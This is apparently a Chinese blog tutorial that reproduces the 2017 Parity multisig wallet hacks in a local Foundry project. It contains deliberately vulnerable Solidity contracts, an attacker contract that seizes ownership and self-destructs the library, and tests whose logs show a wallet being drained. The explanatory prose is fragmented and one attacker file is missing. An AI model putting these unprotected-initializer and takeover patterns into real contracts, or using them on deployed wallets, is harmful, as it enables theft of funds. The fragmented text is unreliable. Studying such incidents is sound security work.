Parity Wallet 是由 Parity Technologies(Gavin Wood 创立的公司,以太坊联合创始人)开发的钱包,支持 多签机制(Multisig Wallet),广泛被 ICO 项目和机构投资人使用。
initWallet
函数初始化逻辑错误。initWallet()
,从而重新设置钱包拥有者。initWallet()
把自己加为 owner。delegatecall
调用它。owner
。initWallet()
,把自己设为 WalletLibrary 的 owner。selfdestruct()
,直接 销毁了库合约。delegatecall
contract Wallet {
address public lib; // WalletLibrary 地址
function doSomething(bytes data) public {
lib.delegatecall(data); // 调用库合约函数
}
}
init
、selfdestruct
等函数)。// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title 漏洞版多签钱包(2017年7月事故复现)
contract VulnerableWallet {
address public owner;
/// @notice 初始化钱包所有者(无访问控制)
function initWallet(address _owner) external {
owner = _owner;
}
/// @notice 存款
function deposit() external payable {}
/// @notice 提款(只有 owner 可以调用)
function withdraw(uint256 amount) external {
require(msg.sender == owner, "not owner");
payable(owner).transfer(amount);
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title 漏洞版多签钱包(2017年7月事故复现)
contract VulnerableWallet {
address public owner;
/// @notice 初始化钱包所有者(无访问控制)
function initWallet(address _owner) external {
owner = _owner;
}
/// @notice 存款
function deposit() external payable {}
/// @notice 提款(只有 owner 可以调用)
function withdraw(uint256 amount) external {
require(msg.sender == owner, "not owner");
payable(owner).transfer(amount);
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title 漏洞版库合约(2017年11月事故复现)
contract WalletLibrary {
address public owner;
function initWallet(address _owner) external {
owner = _owner;
}
function kill() public {
require(msg.sender == owner, "not owner");
selfdestruct(payable(msg.sender)); // 直接摧毁 WalletLibrary 本身
}
function foo() external pure returns (string memory) {
return "Wallet Library Active";
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract WalletProxy {
address public lib;
constructor(address _lib) {
lib = _lib;
}
// fallback() external payable {
// (bool success, ) = lib.delegatecall(msg.data);
// require(success, "delegatecall failed");
// }
fallback() external payable {
address libAddr = address(lib);
// 确保库被清空时直接 revert
require(libAddr.code.length > 0, "Library destroyed");
(bool success, bytes memory res) = lib.delegatecall(msg.data);
require(success, "delegatecall failed");
assembly {
return(add(res, 32), mload(res))
}
}
receive() external payable {}
}
为什么不使用注释中的 fallback()
函数?
success = true
。vm.etch
清空了库地址,fallback delegatecall 返回的 success
仍然是 true
,proxy 调用不会失败,导致 assertFalse(ok2)
失败。这是现代 EVM 的行为,与 2017 年不同。在旧 EVM 下,delegatecall 到不存在地址会直接 revert;在现代 EVM 下,delegatecall 为空代码仍然返回成功,但
res
为空。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./WalletLibrary.sol";
contract ParityAttacker {
WalletLibrary public lib;
constructor(address _lib) {
lib = WalletLibrary(_lib);
}
function attack() external {
lib.initWallet(address(this));
lib.kill();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/VulnerableWallet.sol";
import "../src/WalletAttacker.sol";
import "../src/WalletLibrary.sol";
import "../src/WalletProxy.sol";
import "../src/ParityAttacker.sol";
contract ParityHackTest is Test {
address deployer = address(0x123);
address hacker = address(0x234);
// ---------------------------
// 7月事故:未保护的 initWallet
// ---------------------------
function testJulyHack() public {
// 确保 deployer 有足够 ETH 供 deposit
vm.deal(deployer, 200 ether);
vm.startPrank(deployer);
VulnerableWallet wallet = new VulnerableWallet();
wallet.deposit{value: 100 ether}();
vm.stopPrank();
vm.startPrank(hacker);
WalletAttacker attacker = new WalletAttacker(address(wallet));
emit log_named_uint("Wallet Balance Before", address(wallet).balance);
emit log_named_uint("Hacker Balance Before", address(hacker).balance);
attacker.attack();
emit log_named_uint("Wallet Balance After", address(wallet).balance);
emit log_named_uint("Hacker Balance After", address(hacker).balance);
assertEq(address(wallet).balance, 0, "wallet should be drained");
vm.stopPrank();
}
// ---------------------------
// 11月事故:库被意外销毁
// ---------------------------
function testNovemberHack() public {
vm.startPrank(deployer);
WalletLibrary lib = new WalletLibrary();
WalletProxy proxy = new WalletProxy(address(lib));
vm.stopPrank();
// proxy 调用 foo() 应该成功
(bool ok1, bytes memory res1) = address(proxy).call(
abi.encodeWithSignature("foo()")
);
assertTrue(ok1, "call before attack should succeed");
emit log_string(string(res1));
// 攻击者直接对库合约调用 initWallet + kill
vm.startPrank(hacker);
ParityAttacker attacker = new ParityAttacker(address(lib));
attacker.attack();
vm.stopPrank();
// 使用 vm.etch 强制把库地址的代码置空,模拟 2017 年 selfdestruct
vm.etch(address(lib), bytes(""));
// 确认库代码已经被清空
uint256 libCodeLen = address(lib).code.length;
emit log_named_uint("Library code length after attack", libCodeLen);
assertEq(libCodeLen, 0, "library should have no code after selfdestruct");
// 代理 delegatecall 再调用 foo() 应该失败
(bool ok2, ) = address(proxy).call(abi.encodeWithSignature("foo()"));
assertFalse(ok2, "call after attack should fail");
}
}
执行测试:
➜ counter git:(main) ✗ forge test --match-path test/ParityHack.t.sol -vvv
[⠊] Compiling...
[⠢] Compiling 2 files with Solc 0.8.29
[⠆] Solc 0.8.29 finished in 1.08s
Compiler run successful with warnings:
Warning (5159): "selfdestruct" has been deprecated. Note that, starting from the Cancun hard fork, the underlying opcode no longer deletes the code and data associated with an account and only transfers its Ether to the beneficiary, unless executed in the same transaction in which the contract was created (see EIP-6780). Any use in newly deployed contracts is strongly discouraged even if the new behavior is taken into account. Future changes to the EVM might further reduce the functionality of the opcode.
--> src/WalletLibrary.sol:14:9:
|
14 | selfdestruct(payable(msg.sender)); // 直接摧毁 WalletLibrary 本身
| ^^^^^^^^^^^^
Ran 2 tests for test/ParityHack.t.sol:ParityHackTest
[PASS] testJulyHack() (gas: 591767)
Logs:
Wallet Balance Before: 100000000000000000000
Hacker Balance Before: 0
Wallet Balance After: 0
Hacker Balance After: 100000000000000000000
[PASS] testNovemberHack() (gas: 701066)
Logs:
Wallet Library Active
Library code length after attack: 0
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.04ms (776.48µs CPU time)
Ran 1 test suite in 352.15ms (1.04ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。